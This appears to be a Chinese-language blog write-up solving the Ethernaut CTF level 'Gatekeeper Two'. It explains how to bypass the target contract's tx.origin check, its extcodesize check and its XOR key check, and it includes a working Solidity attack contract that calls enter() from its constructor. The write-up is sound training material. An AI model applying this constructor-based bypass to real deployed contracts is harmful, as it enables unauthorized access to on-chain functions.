14.Gatekeeper Two
2023-06-23 20:21:59 # 04.Ethernaut CTF

Gatekeeper Two

题目

目标:修改entrant,即:成功调用enter(bytes8 _gateKey)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

分析

本道题要我们成功调用enter(bytes8 _gateKey),那么就需要通过三个修饰器gateOnegateTwogateThree(_gateKey)的检验。

gateOne

1
2
3
4
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

这里需要我们理解msg.sender和tx.origin的区别。意思是要求:我们不可以直接调用,需要写一个合约进行调用

gateTwo

1
2
3
4
5
6
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

第一个知识点:caller()是指消息的调用者,可以是合约也可以是用户。结合gateOne,在本题中就只能是合约了。

这个modifier的意思是extcodesize(caller())需要等于0,那么就要合约当中没有任何内容,代码量为0。但我们要写攻击合约,肯定要写内容的,那么这个时候,就必须要在构造器中写攻击代码。在构造器里面写,发起了攻击,并且也通过了gateTwo的检验

gateThree(_gateKey)

1
2
3
4
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
  1. msg.sender:我们的攻击合约地址
  2. (abi.encodePacked(msg.sender)):编码我们的攻击合约地址
  3. (bytes8(keccak256(abi.encodePacked(msg.sender))):编码我们的攻击合约地址,并且取高8字节
  4. uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))):编码我们的攻击合约地址,并且取高8字节,然后高位补0补齐至64位数。我们假设这个结果是X

X ^ uint64(_gateKey)的意思是:两个64位的数值进行异或。我们假设这个结果是Y

Y == type(uint64).max):意思是Y的值需要等于uint64类型的最大值,即:FFFFFFFFFFFFFFFF

那么就是说,我们传入的_gateKey经过那一串的异或处理之后,要变成最大值(全1),异或结果得到全1。因为uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))是不可控的,我们只可以输入_gateKey,那么输入的_gateKey就要和uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))每一位数字都相反,才可以异或得到全1。

要达到这个目的,我们的_gateKey应该是uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))每一位都取反的结果,这样_gateKey再和uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))异或就是全1。举个例子:110 ^ _gateKey,gateKey=>110取反=>001。然后110 ^ 001=111。

因为solidity没有取反操作,但异或一个全为1的数可以达到相同的结果。在本题就是异或0xFFFFFFFFFFFFFFFF

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack{
GatekeeperTwo gatekeeperTwo = GatekeeperTwo(0xc90c27F7431c86837933437ae4c94aA6f6B6591f);
constructor(){
bytes8 key = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xFFFFFFFFFFFFFFFF;
address(gatekeeperTwo).call(abi.encodeWithSignature("enter(bytes8)",key));
}
}

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

做题

获取题目实例,部署之后,查看entrant:成功被修改

通过